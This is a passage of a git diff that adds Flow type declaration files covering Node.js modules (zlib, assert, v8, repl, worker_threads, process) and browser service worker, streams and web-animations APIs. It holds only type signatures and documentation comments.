+    Z_MEM_ERROR: number,
+    Z_BUF_ERROR: number,
+    Z_VERSION_ERROR: number,
+    ...
+  };
+  declare class Zlib extends stream$Duplex {
+    // TODO
+  }
+  declare class BrotliCompress extends Zlib {}
+  declare class BrotliDecompress extends Zlib {}
+  declare class Deflate extends Zlib {}
+  declare class Inflate extends Zlib {}
+  declare class Gzip extends Zlib {}
+  declare class Gunzip extends Zlib {}
+  declare class DeflateRaw extends Zlib {}
+  declare class InflateRaw extends Zlib {}
+  declare class Unzip extends Zlib {}
+  declare function createBrotliCompress(
+    options?: zlib$brotliOptions
+  ): BrotliCompress;
+  declare function createBrotliDecompress(
+    options?: zlib$brotliOptions
+  ): BrotliDecompress;
+  declare function createDeflate(options?: zlib$options): Deflate;
+  declare function createInflate(options?: zlib$options): Inflate;
+  declare function createDeflateRaw(options?: zlib$options): DeflateRaw;
+  declare function createInflateRaw(options?: zlib$options): InflateRaw;
+  declare function createGzip(options?: zlib$options): Gzip;
+  declare function createGunzip(options?: zlib$options): Gunzip;
+  declare function createUnzip(options?: zlib$options): Unzip;
+  declare var brotliCompress: zlib$brotliAsyncFn;
+  declare var brotliCompressSync: zlib$brotliSyncFn;
+  declare var brotliDeompress: zlib$brotliAsyncFn;
+  declare var brotliDecompressSync: zlib$brotliSyncFn;
+  declare var deflate: zlib$asyncFn;
+  declare var deflateSync: zlib$syncFn;
+  declare var gzip: zlib$asyncFn;
+  declare var gzipSync: zlib$syncFn;
+  declare var deflateRaw: zlib$asyncFn;
+  declare var deflateRawSync: zlib$syncFn;
+  declare var unzip: zlib$asyncFn;
+  declare var unzipSync: zlib$syncFn;
+  declare var inflate: zlib$asyncFn;
+  declare var inflateSync: zlib$syncFn;
+  declare var gunzip: zlib$asyncFn;
+  declare var gunzipSync: zlib$syncFn;
+  declare var inflateRaw: zlib$asyncFn;
+  declare var inflateRawSync: zlib$syncFn;
+}
+
+declare module 'assert' {
+  declare class AssertionError extends Error {}
+  declare type AssertStrict = {
+    (value: any, message?: string): void,
+    ok(value: any, message?: string): void,
+    fail(message?: string | Error): void,
+    // deprecated since v10.15
+    fail(actual: any, expected: any, message: string, operator: string): void,
+    equal(actual: any, expected: any, message?: string): void,
+    notEqual(actual: any, expected: any, message?: string): void,
+    deepEqual(actual: any, expected: any, message?: string): void,
+    notDeepEqual(actual: any, expected: any, message?: string): void,
+    throws(
+      block: Function,
+      error?: Function | RegExp | ((err: any) => boolean),
+      message?: string
+    ): void,
+    doesNotThrow(block: Function, message?: string): void,
+    ifError(value: any): void,
+    AssertionError: typeof AssertionError,
+    strict: AssertStrict,
+    ...
+  };
+  declare module.exports: {
+    (value: any, message?: string): void,
+    ok(value: any, message?: string): void,
+    fail(message?: string | Error): void,
+    // deprecated since v10.15
+    fail(actual: any, expected: any, message: string, operator: string): void,
+    equal(actual: any, expected: any, message?: string): void,
+    notEqual(actual: any, expected: any, message?: string): void,
+    deepEqual(actual: any, expected: any, message?: string): void,
+    notDeepEqual(actual: any, expected: any, message?: string): void,
+    strictEqual(actual: any, expected: any, message?: string): void,
+    notStrictEqual(actual: any, expected: any, message?: string): void,
+    deepStrictEqual(actual: any, expected: any, message?: string): void,
+    notDeepStrictEqual(actual: any, expected: any, message?: string): void,
+    throws(
+      block: Function,
+      error?: Function | RegExp | ((err: any) => boolean),
+      message?: string
+    ): void,
+    doesNotThrow(block: Function, message?: string): void,
+    ifError(value: any): void,
+    AssertionError: typeof AssertionError,
+    strict: AssertStrict,
+    ...
+  };
+}
+
+type HeapCodeStatistics = {
+  code_and_metadata_size: number,
+  bytecode_and_metadata_size: number,
+  external_script_source_size: number,
+  ...
+};
+
+type HeapStatistics = {
+  total_heap_size: number,
+  total_heap_size_executable: number,
+  total_physical_size: number,
+  total_available_size: number,
+  used_heap_size: number,
+  heap_size_limit: number,
+  malloced_memory: number,
+  peak_malloced_memory: number,
+  does_zap_garbage: 0 | 1,
+  number_of_native_contexts: number,
+  number_of_detached_contexts: number,
+  ...
+};
+
+type HeapSpaceStatistics = {
+  space_name: string,
+  space_size: number,
+  space_used_size: number,
+  space_available_size: number,
+  physical_space_size: number,
+  ...
+};
+
+// Adapted from DefinitelyTyped for Node v14:
+// https://github.com/DefinitelyTyped/DefinitelyTyped/blob/dea4d99dc302a0b0a25270e46e72c1fe9b741a17/types/node/v14/v8.d.ts
+declare module 'v8' {
+  /**
+   * Returns an integer representing a "version tag" derived from the V8 version, command line flags and detected CPU features.
+   * This is useful for determining whether a vm.Script cachedData buffer is compatible with this instance of V8.
+   */
+  declare function cachedDataVersionTag(): number;
+
+  /**
+   * Generates a snapshot of the current V8 heap and returns a Readable
+   * Stream that may be used to read the JSON serialized representation.
+   * This conversation was marked as resolved by joyeecheung
+   * This JSON stream format is intended to be used with tools such as
+   * Chrome DevTools. The JSON schema is undocumented and specific to the
+   * V8 engine, and may change from one version of V8 to the next.
+   */
+  declare function getHeapSnapshot(): stream$Readable;
+
+  /**
+   *
+   * @param fileName The file path where the V8 heap snapshot is to be
+   * saved. If not specified, a file name with the pattern
+   * `'Heap-${yyyymmdd}-${hhmmss}-${pid}-${thread_id}.heapsnapshot'` will be
+   * generated, where `{pid}` will be the PID of the Node.js process,
+   * `{thread_id}` will be `0` when `writeHeapSnapshot()` is called from
+   * the main Node.js thread or the id of a worker thread.
+   */
+  declare function writeHeapSnapshot(fileName?: string): string;
+
+  declare function getHeapCodeStatistics(): HeapCodeStatistics;
+
+  declare function getHeapStatistics(): HeapStatistics;
+  declare function getHeapSpaceStatistics(): Array<HeapSpaceStatistics>;
+  declare function setFlagsFromString(flags: string): void;
+
+  declare class Serializer {
+    constructor(): void;
+
+    /**
+     * Writes out a header, which includes the serialization format version.
+     */
+    writeHeader(): void;
+
+    /**
+     * Serializes a JavaScript value and adds the serialized representation to the internal buffer.
+     * This throws an error if value cannot be serialized.
+     */
+    writeValue(val: any): boolean;
+
+    /**
+     * Returns the stored internal buffer.
+     * This serializer should not be used once the buffer is released.
+     * Calling this method results in undefined behavior if a previous write has failed.
+     */
+    releaseBuffer(): Buffer;
+
+    /**
+     * Marks an ArrayBuffer as having its contents transferred out of band.\
+     * Pass the corresponding ArrayBuffer in the deserializing context to deserializer.transferArrayBuffer().
+     */
+    transferArrayBuffer(id: number, arrayBuffer: ArrayBuffer): void;
+
+    /**
+     * Write a raw 32-bit unsigned integer.
+     */
+    writeUint32(value: number): void;
+
+    /**
+     * Write a raw 64-bit unsigned integer, split into high and low 32-bit parts.
+     */
+    writeUint64(hi: number, lo: number): void;
+
+    /**
+     * Write a JS number value.
+     */
+    writeDouble(value: number): void;
+
+    /**
+     * Write raw bytes into the serializer’s internal buffer.
+     * The deserializer will require a way to compute the length of the buffer.
+     */
+    writeRawBytes(buffer: Buffer | $TypedArray | DataView): void;
+  }
+
+  /**
+   * A subclass of `Serializer` that serializes `TypedArray` (in particular `Buffer`) and `DataView` objects as host objects,
+   * and only stores the part of their underlying `ArrayBuffers` that they are referring to.
+   */
+  declare class DefaultSerializer extends Serializer {}
+
+  declare class Deserializer {
+    constructor(data: Buffer | $TypedArray | DataView): void;
+
+    /**
+     * Reads and validates a header (including the format version).
+     * May, for example, reject an invalid or unsupported wire format.
+     * In that case, an Error is thrown.
+     */
+    readHeader(): boolean;
+
+    /**
+     * Deserializes a JavaScript value from the buffer and returns it.
+     */
+    readValue(): any;
+
+    /**
+     * Marks an ArrayBuffer as having its contents transferred out of band.
+     * Pass the corresponding `ArrayBuffer` in the serializing context to serializer.transferArrayBuffer()
+     * (or return the id from serializer._getSharedArrayBufferId() in the case of SharedArrayBuffers).
+     */
+    transferArrayBuffer(id: number, arrayBuffer: ArrayBuffer): void;
+
+    /**
+     * Reads the underlying wire format version.
+     * Likely mostly to be useful to legacy code reading old wire format versions.
+     * May not be called before .readHeader().
+     */
+    getWireFormatVersion(): number;
+
+    /**
+     * Read a raw 32-bit unsigned integer and return it.
+     */
+    readUint32(): number;
+
+    /**
+     * Read a raw 64-bit unsigned integer and return it as an array [hi, lo] with two 32-bit unsigned integer entries.
+     */
+    readUint64(): [number, number];
+
+    /**
+     * Read a JS number value.
+     */
+    readDouble(): number;
+
+    /**
+     * Read raw bytes from the deserializer’s internal buffer.
+     * The length parameter must correspond to the length of the buffer that was passed to serializer.writeRawBytes().
+     */
+    readRawBytes(length: number): Buffer;
+  }
+
+  /**
+   * A subclass of `Serializer` that serializes `TypedArray` (in particular `Buffer`) and `DataView` objects as host objects,
+   * and only stores the part of their underlying `ArrayBuffers` that they are referring to.
+   */
+  declare class DefaultDeserializer extends Deserializer {}
+
+  /**
+   * Uses a `DefaultSerializer` to serialize value into a buffer.
+   */
+  declare function serialize(value: any): Buffer;
+
+  /**
+   * Uses a `DefaultDeserializer` with default options to read a JS value from a buffer.
+   */
+  declare function deserialize(data: Buffer | $TypedArray | DataView): any;
+}
+
+type repl$DefineCommandOptions = (...args: Array<any>) => void | {
+  action: (...args: Array<any>) => void,
+  help?: string,
+  ...
+};
+
+declare class $SymbolReplModeMagic mixins Symbol {}
+declare class $SymbolReplModeSloppy mixins Symbol {}
+declare class $SymbolReplModeStrict mixins Symbol {}
+
+declare module 'repl' {
+  declare var REPL_MODE_MAGIC: $SymbolReplModeMagic;
+  declare var REPL_MODE_SLOPPY: $SymbolReplModeSloppy;
+  declare var REPL_MODE_STRICT: $SymbolReplModeStrict;
+
+  declare class REPLServer extends readline$Interface {
+    context: vm$Context;
+    defineCommand(command: string, options: repl$DefineCommandOptions): void;
+    displayPrompt(preserveCursor?: boolean): void;
+  }
+
+  declare function start(prompt: string): REPLServer;
+  declare function start(options: {
+    prompt?: string,
+    input?: stream$Readable,
+    output?: stream$Writable,
+    terminal?: boolean,
+    eval?: Function,
+    useColors?: boolean,
+    useGlobal?: boolean,
+    ignoreUndefined?: boolean,
+    writer?: (object: any, options?: util$InspectOptions) => string,
+    completer?: readline$InterfaceCompleter,
+    replMode?:
+      | $SymbolReplModeMagic
+      | $SymbolReplModeSloppy
+      | $SymbolReplModeStrict,
+    breakEvalOnSigint?: boolean,
+    ...
+  }): REPLServer;
+
+  declare class Recoverable extends SyntaxError {
+    constructor(err: Error): void;
+  }
+}
+
+declare module 'inspector' {
+  declare function open(port?: number, host?: string, wait?: boolean): void;
+
+  declare function close(): void;
+  declare function url(): string | void;
+  declare var console: Object;
+  declare function waitForDebugger(): void;
+
+  declare class Session extends events$EventEmitter {
+    constructor(): void;
+    connect(): void;
+    connectToMainThread(): void;
+    disconnect(): void;
+    post(method: string, params?: Object, callback?: Function): void;
+  }
+}
+
+/* globals: https://nodejs.org/api/globals.html */
+
+type process$CPUUsage = {
+  user: number,
+  system: number,
+  ...
+};
+
+declare class Process extends events$EventEmitter {
+  abort(): void;
+  allowedNodeEnvironmentFlags: Set<string>;
+  arch: string;
+  argv: Array<string>;
+  chdir(directory: string): void;
+  config: Object;
+  connected: boolean;
+  cpuUsage(previousValue?: process$CPUUsage): process$CPUUsage;
+  cwd(): string;
+  disconnect?: () => void;
+  domain?: domain$Domain;
+  env: {[key: string]: string | void, ...};
+  emitWarning(warning: string | Error): void;
+  emitWarning(
+    warning: string,
+    typeOrCtor: string | ((...empty) => mixed)
+  ): void;
+  emitWarning(
+    warning: string,
+    type: string,
+    codeOrCtor: string | ((...empty) => mixed)
+  ): void;
+  emitWarning(
+    warning: string,
+    type: string,
+    code: string,
+    ctor?: (...empty) => mixed
+  ): void;
+  execArgv: Array<string>;
+  execPath: string;
+  exit(code?: number): empty;
+  exitCode?: number;
+  getegid?: () => number;
+  geteuid?: () => number;
+  getgid?: () => number;
+  getgroups?: () => Array<number>;
+  getuid?: () => number;
+  hrtime: {
+    (time?: [number, number]): [number, number],
+    bigint: () => bigint,
+    ...
+  };
+  initgroups?: (user: number | string, extra_group: number | string) => void;
+  kill(pid: number, signal?: string | number): void;
+  mainModule: Object;
+  memoryUsage(): {
+    arrayBuffers: number,
+    rss: number,
+    heapTotal: number,
+    heapUsed: number,
+    external: number,
+    ...
+  };
+  nextTick: <T>(cb: (...T) => mixed, ...T) => void;
+  pid: number;
+  platform: string;
+  release: {
+    name: string,
+    lts?: string,
+    sourceUrl: string,
+    headersUrl: string,
+    libUrl: string,
+    ...
+  };
+  send?: (
+    message: any,
+    sendHandleOrCallback?: net$Socket | net$Server | Function,
+    callback?: Function
+  ) => void;
+  setegid?: (id: number | string) => void;
+  seteuid?: (id: number | string) => void;
+  setgid?: (id: number | string) => void;
+  setgroups?: <Group: string | number>(groups: Array<Group>) => void;
+  setuid?: (id: number | string) => void;
+  stderr: stream$Writable | tty$WriteStream;
+  stdin: stream$Readable | tty$ReadStream;
+  stdout: stream$Writable | tty$WriteStream;
+  title: string;
+  umask(mask?: number): number;
+  uptime(): number;
+  version: string;
+  versions: {
+    [key: string]: ?string,
+    node: string,
+    v8: string,
+    ...
+  };
+}
+declare var process: Process;
+
+declare var __filename: string;
+declare var __dirname: string;
+
+declare function setImmediate(
+  callback: (...args: Array<any>) => mixed,
+  ...args: Array<any>
+): Object;
+declare function clearImmediate(immediateObject: any): Object;
+
+// https://nodejs.org/api/esm.html#node-imports
+
+declare module 'node:assert' {
+  declare module.exports: $Exports<'assert'>;
+}
+
+declare module 'node:assert/strict' {
+  declare module.exports: $Exports<'assert'>['strict'];
+}
+
+declare module 'node:events' {
+  declare module.exports: $Exports<'events'>;
+}
+
+declare module 'node:fs' {
+  declare module.exports: $Exports<'fs'>;
+}
+
+declare module 'node:os' {
+  declare module.exports: $Exports<'os'>;
+}
+
+declare module 'fs/promises' {
+  declare module.exports: $Exports<'fs'>['promises'];
+}
+
+declare module 'node:fs/promises' {
+  declare module.exports: $Exports<'fs'>['promises'];
+}
+
+declare module 'node:path' {
+  declare module.exports: $Exports<'path'>;
+}
+
+declare module 'process' {
+  declare module.exports: Process;
+}
+
+declare module 'node:process' {
+  declare module.exports: $Exports<'process'>;
+}
+
+declare module 'node:util' {
+  declare module.exports: $Exports<'util'>;
+}
+
+declare module 'node:url' {
+  declare module.exports: $Exports<'url'>;
+}
+
+declare module 'worker_threads' {
+  declare var isMainThread: boolean;
+  declare var parentPort: null | MessagePort;
+  declare var threadId: number;
+  declare var workerData: any;
+
+  declare class MessageChannel {
+    +port1: MessagePort;
+    +port2: MessagePort;
+  }
+
+  declare class MessagePort extends events$EventEmitter {
+    close(): void;
+    postMessage(
+      value: any,
+      transferList?: Array<ArrayBuffer | MessagePort>
+    ): void;
+    ref(): void;
+    unref(): void;
+    start(): void;
+
+    addListener(event: 'close', listener: () => void): this;
+    addListener(event: 'message', listener: (value: any) => void): this;
+    addListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    emit(event: 'close'): boolean;
+    emit(event: 'message', value: any): boolean;
+    emit(event: string | Symbol, ...args: any[]): boolean;
+
+    on(event: 'close', listener: () => void): this;
+    on(event: 'message', listener: (value: any) => void): this;
+    on(event: string | Symbol, listener: (...args: any[]) => void): this;
+
+    once(event: 'close', listener: () => void): this;
+    once(event: 'message', listener: (value: any) => void): this;
+    once(event: string | Symbol, listener: (...args: any[]) => void): this;
+
+    prependListener(event: 'close', listener: () => void): this;
+    prependListener(event: 'message', listener: (value: any) => void): this;
+    prependListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    prependOnceListener(event: 'close', listener: () => void): this;
+    prependOnceListener(event: 'message', listener: (value: any) => void): this;
+    prependOnceListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    removeListener(event: 'close', listener: () => void): this;
+    removeListener(event: 'message', listener: (value: any) => void): this;
+    removeListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    off(event: 'close', listener: () => void): this;
+    off(event: 'message', listener: (value: any) => void): this;
+    off(event: string | Symbol, listener: (...args: any[]) => void): this;
+  }
+
+  declare type WorkerOptions = {|
+    env?: Object,
+    eval?: boolean,
+    workerData?: any,
+    stdin?: boolean,
+    stdout?: boolean,
+    stderr?: boolean,
+    execArgv?: string[],
+  |};
+
+  declare class Worker extends events$EventEmitter {
+    +stdin: stream$Writable | null;
+    +stdout: stream$Readable;
+    +stderr: stream$Readable;
+    +threadId: number;
+
+    constructor(filename: string, options?: WorkerOptions): void;
+
+    postMessage(
+      value: any,
+      transferList?: Array<ArrayBuffer | MessagePort>
+    ): void;
+    ref(): void;
+    unref(): void;
+    terminate(callback?: (err: Error, exitCode: number) => void): void;
+    /**
+     * Transfer a `MessagePort` to a different `vm` Context. The original `port`
+     * object will be rendered unusable, and the returned `MessagePort` instance will
+     * take its place.
+     *
+     * The returned `MessagePort` will be an object in the target context, and will
+     * inherit from its global `Object` class. Objects passed to the
+     * `port.onmessage()` listener will also be created in the target context
+     * and inherit from its global `Object` class.
+     *
+     * However, the created `MessagePort` will no longer inherit from
+     * `EventEmitter`, and only `port.onmessage()` can be used to receive
+     * events using it.
+     */
+    moveMessagePortToContext(
+      port: MessagePort,
+      context: vm$Context
+    ): MessagePort;
+
+    addListener(event: 'error', listener: (err: Error) => void): this;
+    addListener(event: 'exit', listener: (exitCode: number) => void): this;
+    addListener(event: 'message', listener: (value: any) => void): this;
+    addListener(event: 'online', listener: () => void): this;
+    addListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    emit(event: 'error', err: Error): boolean;
+    emit(event: 'exit', exitCode: number): boolean;
+    emit(event: 'message', value: any): boolean;
+    emit(event: 'online'): boolean;
+    emit(event: string | Symbol, ...args: any[]): boolean;
+
+    on(event: 'error', listener: (err: Error) => void): this;
+    on(event: 'exit', listener: (exitCode: number) => void): this;
+    on(event: 'message', listener: (value: any) => void): this;
+    on(event: 'online', listener: () => void): this;
+    on(event: string | Symbol, listener: (...args: any[]) => void): this;
+
+    once(event: 'error', listener: (err: Error) => void): this;
+    once(event: 'exit', listener: (exitCode: number) => void): this;
+    once(event: 'message', listener: (value: any) => void): this;
+    once(event: 'online', listener: () => void): this;
+    once(event: string | Symbol, listener: (...args: any[]) => void): this;
+
+    prependListener(event: 'error', listener: (err: Error) => void): this;
+    prependListener(event: 'exit', listener: (exitCode: number) => void): this;
+    prependListener(event: 'message', listener: (value: any) => void): this;
+    prependListener(event: 'online', listener: () => void): this;
+    prependListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    prependOnceListener(event: 'error', listener: (err: Error) => void): this;
+    prependOnceListener(
+      event: 'exit',
+      listener: (exitCode: number) => void
+    ): this;
+    prependOnceListener(event: 'message', listener: (value: any) => void): this;
+    prependOnceListener(event: 'online', listener: () => void): this;
+    prependOnceListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    removeListener(event: 'error', listener: (err: Error) => void): this;
+    removeListener(event: 'exit', listener: (exitCode: number) => void): this;
+    removeListener(event: 'message', listener: (value: any) => void): this;
+    removeListener(event: 'online', listener: () => void): this;
+    removeListener(
+      event: string | Symbol,
+      listener: (...args: any[]) => void
+    ): this;
+
+    off(event: 'error', listener: (err: Error) => void): this;
+    off(event: 'exit', listener: (exitCode: number) => void): this;
+    off(event: 'message', listener: (value: any) => void): this;
+    off(event: 'online', listener: () => void): this;
+    off(event: string | Symbol, listener: (...args: any[]) => void): this;
+  }
+}
+
+declare module 'node:worker_threads' {
+  declare module.exports: $Exports<'worker_threads'>;
+}
diff --git a/flow-typed/environments/serviceworkers.js b/flow-typed/environments/serviceworkers.js
new file mode 100644
index 000000000000..86479648e2e8
--- /dev/null
+++ b/flow-typed/environments/serviceworkers.js
@@ -0,0 +1,248 @@
+// flow-typed signature: f6bda44505d6258bae702a65ee2878f2
+// flow-typed version: 840509ea9d/serviceworkers/flow_>=v0.261.x
+
+type FrameType = 'auxiliary' | 'top-level' | 'nested' | 'none';
+type VisibilityState = 'hidden' | 'visible' | 'prerender' | 'unloaded';
+
+declare class WindowClient extends Client {
+  visibilityState: VisibilityState;
+  focused: boolean;
+  focus(): Promise<WindowClient>;
+  navigate(url: string): Promise<WindowClient>;
+}
+
+declare class Client {
+  id: string;
+  reserved: boolean;
+  url: string;
+  frameType: FrameType;
+  postMessage(message: any, transfer?: Iterator<any> | Array<any>): void;
+}
+
+declare class ExtendableEvent extends Event {
+  waitUntil(f: Promise<mixed>): void;
+}
+
+type NotificationEvent$Init = {
+  ...Event$Init,
+  notification: Notification,
+  action?: string,
+  ...
+};
+
+declare class NotificationEvent extends ExtendableEvent {
+  constructor(type: string, eventInitDict?: NotificationEvent$Init): void;
+  +notification: Notification;
+  +action: string;
+}
+
+type ForeignFetchOptions = {
+  scopes: Iterator<string>,
+  origins: Iterator<string>,
+  ...
+};
+
+declare class InstallEvent extends ExtendableEvent {
+  registerForeignFetch(options: ForeignFetchOptions): void;
+}
+
+declare class FetchEvent extends ExtendableEvent {
+  request: Request;
+  clientId: string;
+  isReload: boolean;
+  respondWith(response: Response | Promise<Response>): void;
+  preloadResponse: Promise<?Response>;
+}
+
+type ClientType = 'window' | 'worker' | 'sharedworker' | 'all';
+type ClientQueryOptions = {
+  includeUncontrolled?: boolean,
+  includeReserved?: boolean,
+  type?: ClientType,
+  ...
+};
+
+declare class Clients {
+  get(id: string): Promise<?Client>;
+  matchAll(options?: ClientQueryOptions): Promise<Array<Client>>;
+  openWindow(url: string): Promise<?WindowClient>;
+  claim(): Promise<void>;
+}
+
+type ServiceWorkerState =
+  | 'installing'
+  | 'installed'
+  | 'activating'
+  | 'activated'
+  | 'redundant';
+
+declare class ServiceWorker extends EventTarget {
+  scriptURL: string;
+  state: ServiceWorkerState;
+
+  postMessage(message: any, transfer?: Iterator<any>): void;
+
+  onstatechange?: EventHandler;
+}
+
+declare class NavigationPreloadState {
+  enabled: boolean;
+  headerValue: string;
+}
+
+declare class NavigationPreloadManager {
+  enable: Promise<void>;
+  disable: Promise<void>;
+  setHeaderValue(value: string): Promise<void>;
+  getState: Promise<NavigationPreloadState>;
+}
+
+type PushSubscriptionOptions = {
+  userVisibleOnly?: boolean,
+  applicationServerKey?: string | ArrayBuffer | $ArrayBufferView,
+  ...
+};
+
+declare class PushSubscriptionJSON {
+  endpoint: string;
+  expirationTime: number | null;
+  keys: {[string]: string, ...};
+}
+
+declare class PushSubscription {
+  +endpoint: string;
+  +expirationTime: number | null;
+  +options: PushSubscriptionOptions;
+  getKey(name: string): ArrayBuffer | null;
+  toJSON(): PushSubscriptionJSON;
+  unsubscribe(): Promise<boolean>;
+}
+
+declare class PushManager {
+  +supportedContentEncodings: Array<string>;
+  subscribe(options?: PushSubscriptionOptions): Promise<PushSubscription>;
+  getSubscription(): Promise<PushSubscription | null>;
+  permissionState(
+    options?: PushSubscriptionOptions
+  ): Promise<'granted' | 'denied' | 'prompt'>;
+}
+
+type ServiceWorkerUpdateViaCache = 'imports' | 'all' | 'none';
+
+type GetNotificationOptions = {
+  tag?: string,
+  ...
+};
+
+declare class ServiceWorkerRegistration extends EventTarget {
+  +installing: ?ServiceWorker;
+  +waiting: ?ServiceWorker;
+  +active: ?ServiceWorker;
+  +navigationPreload: NavigationPreloadManager;
+  +scope: string;
+  +updateViaCache: ServiceWorkerUpdateViaCache;
+  +pushManager: PushManager;
+
+  getNotifications?: (
+    filter?: GetNotificationOptions
+  ) => Promise<$ReadOnlyArray<Notification>>;
+  showNotification?: (
+    title: string,
+    options?: NotificationOptions
+  ) => Promise<void>;
+  update(): Promise<void>;
+  unregister(): Promise<boolean>;
+
+  onupdatefound?: EventHandler;
+}
+
+type WorkerType = 'classic' | 'module';
+
+type RegistrationOptions = {
+  scope?: string,
+  type?: WorkerType,
+  updateViaCache?: ServiceWorkerUpdateViaCache,
+  ...
+};
+
+declare class ServiceWorkerContainer extends EventTarget {
+  +controller: ?ServiceWorker;
+  +ready: Promise<ServiceWorkerRegistration>;
+
+  getRegistration(
+    clientURL?: string
+  ): Promise<ServiceWorkerRegistration | void>;
+  getRegistrations(): Promise<Iterator<ServiceWorkerRegistration>>;
+  register(
+    scriptURL: string | TrustedScriptURL,
+    options?: RegistrationOptions
+  ): Promise<ServiceWorkerRegistration>;
+  startMessages(): void;
+
+  oncontrollerchange?: EventHandler;
+  onmessage?: EventHandler;
+  onmessageerror?: EventHandler;
+}
+
+/**
+ * This feature has been removed from the Web standards.
+ */
+declare class ServiceWorkerMessageEvent extends Event {
+  data: any;
+  lastEventId: string;
+  origin: string;
+  ports: Array<MessagePort>;
+  source: ?(ServiceWorker | MessagePort);
+}
+
+declare class ExtendableMessageEvent extends ExtendableEvent {
+  data: any;
+  lastEventId: string;
+  origin: string;
+  ports: Array<MessagePort>;
+  source: ?(ServiceWorker | MessagePort);
+}
+
+type CacheQueryOptions = {
+  ignoreSearch?: boolean,
+  ignoreMethod?: boolean,
+  ignoreVary?: boolean,
+  cacheName?: string,
+  ...
+};
+
+declare class Cache {
+  match(request: RequestInfo, options?: CacheQueryOptions): Promise<Response>;
+  matchAll(
+    request: RequestInfo,
+    options?: CacheQueryOptions
+  ): Promise<Array<Response>>;
+  add(request: RequestInfo): Promise<void>;
+  addAll(requests: Array<RequestInfo>): Promise<void>;
+  put(request: RequestInfo, response: Response): Promise<void>;
+  delete(request: RequestInfo, options?: CacheQueryOptions): Promise<boolean>;
+  keys(
+    request?: RequestInfo,
+    options?: CacheQueryOptions
+  ): Promise<Array<Request>>;
+}
+
+declare class CacheStorage {
+  match(request: RequestInfo, options?: CacheQueryOptions): Promise<Response>;
+  has(cacheName: string): Promise<true>;
+  open(cacheName: string): Promise<Cache>;
+  delete(cacheName: string): Promise<boolean>;
+  keys(): Promise<Array<string>>;
+}
+
+// Service worker global scope
+// https://www.w3.org/TR/service-workers/#service-worker-global-scope
+declare var clients: Clients;
+declare var caches: CacheStorage;
+declare var registration: ServiceWorkerRegistration;
+declare function skipWaiting(): Promise<void>;
+declare var onactivate: ?EventHandler;
+declare var oninstall: ?EventHandler;
+declare var onfetch: ?EventHandler;
+declare var onforeignfetch: ?EventHandler;
+declare var onmessage: ?EventHandler;
diff --git a/flow-typed/environments/streams.js b/flow-typed/environments/streams.js
new file mode 100644
index 000000000000..17bfae29e612
--- /dev/null
+++ b/flow-typed/environments/streams.js
@@ -0,0 +1,136 @@
+// flow-typed signature: e6e6768618776352dd676f63502aea4d
+// flow-typed version: 40e7dfcbd5/streams/flow_>=v0.261.x
+
+type TextEncodeOptions = {options?: boolean, ...};
+
+declare class ReadableStreamController {
+  constructor(
+    stream: ReadableStream,
+    underlyingSource: UnderlyingSource,
+    size: number,
+    highWaterMark: number
+  ): void;
+
+  desiredSize: number;
+
+  close(): void;
+  enqueue(chunk: any): void;
+  error(error: Error): void;
+}
+
+declare class ReadableStreamBYOBRequest {
+  constructor(controller: ReadableStreamController, view: $TypedArray): void;
+
+  view: $TypedArray;
+
+  respond(bytesWritten: number): ?any;
+  respondWithNewView(view: $TypedArray): ?any;
+}
+
+declare class ReadableByteStreamController extends ReadableStreamController {
+  constructor(
+    stream: ReadableStream,
+    underlyingSource: UnderlyingSource,
+    highWaterMark: number
+  ): void;
+
+  byobRequest: ReadableStreamBYOBRequest;
+}
+
+declare class ReadableStreamReader {
+  constructor(stream: ReadableStream): void;
+
+  closed: boolean;
+
+  cancel(reason: string): void;
+  read(): Promise<{
+    value: ?any,
+    done: boolean,
+    ...
+  }>;
+  releaseLock(): void;
+}
+
+declare interface UnderlyingSource {
+  autoAllocateChunkSize?: number;
+  type?: string;
+
+  start?: (controller: ReadableStreamController) => ?Promise<void>;
+  pull?: (controller: ReadableStreamController) => ?Promise<void>;
+  cancel?: (reason: string) => ?Promise<void>;
+}
+
+declare class TransformStream {
+  readable: ReadableStream;
+  writable: WritableStream;
+}
+
+interface PipeThroughTransformStream {
+  readable: ReadableStream;
+  writable: WritableStream;
+}
+
+type PipeToOptions = {
+  preventClose?: boolean,
+  preventAbort?: boolean,
+  preventCancel?: boolean,
+  ...
+};
+
+type QueuingStrategy = {
+  highWaterMark: number,
+  size(chunk: ?any): number,
+  ...
+};
+
+declare class ReadableStream {
+  constructor(
+    underlyingSource: ?UnderlyingSource,
+    queuingStrategy: ?QueuingStrategy
+  ): void;
+
+  locked: boolean;
+
+  cancel(reason: string): void;
+  getReader(): ReadableStreamReader;
+  pipeThrough(transform: PipeThroughTransformStream, options: ?any): void;
+  pipeTo(dest: WritableStream, options: ?PipeToOptions): Promise<void>;
+  tee(): [ReadableStream, ReadableStream];
+}
+
+declare interface WritableStreamController {
+  error(error: Error): void;
+}
+
+declare interface UnderlyingSink {
+  autoAllocateChunkSize?: number;
+  type?: string;
+
+  abort?: (reason: string) => ?Promise<void>;
+  close?: (controller: WritableStreamController) => ?Promise<void>;
+  start?: (controller: WritableStreamController) => ?Promise<void>;
+  write?: (chunk: any, controller: WritableStreamController) => ?Promise<void>;
+}
+
+declare interface WritableStreamWriter {
+  closed: Promise<any>;
+  desiredSize?: number;
+  ready: Promise<any>;
+
+  abort(reason: string): ?Promise<any>;
+  close(): Promise<any>;
+  releaseLock(): void;
+  write(chunk: any): Promise<any>;
+}
+
+declare class WritableStream {
+  constructor(
+    underlyingSink: ?UnderlyingSink,
+    queuingStrategy: QueuingStrategy
+  ): void;
+
+  locked: boolean;
+
+  abort(reason: string): void;
+  getWriter(): WritableStreamWriter;
+}
diff --git a/flow-typed/environments/web-animations.js b/flow-typed/environments/web-animations.js
new file mode 100644
index 000000000000..ac059631f7c3
--- /dev/null
+++ b/flow-typed/environments/web-animations.js
@@ -0,0 +1,193 @@
+// flow-typed signature: 4631a74b6a0e6a1b4de2ba8c7bb141d6
+// flow-typed version: 3e51657e95/web-animations/flow_>=v0.261.x
+
+// https://www.w3.org/TR/web-animations-1/
+
+type AnimationPlayState = 'idle' | 'running' | 'paused' | 'finished';
+
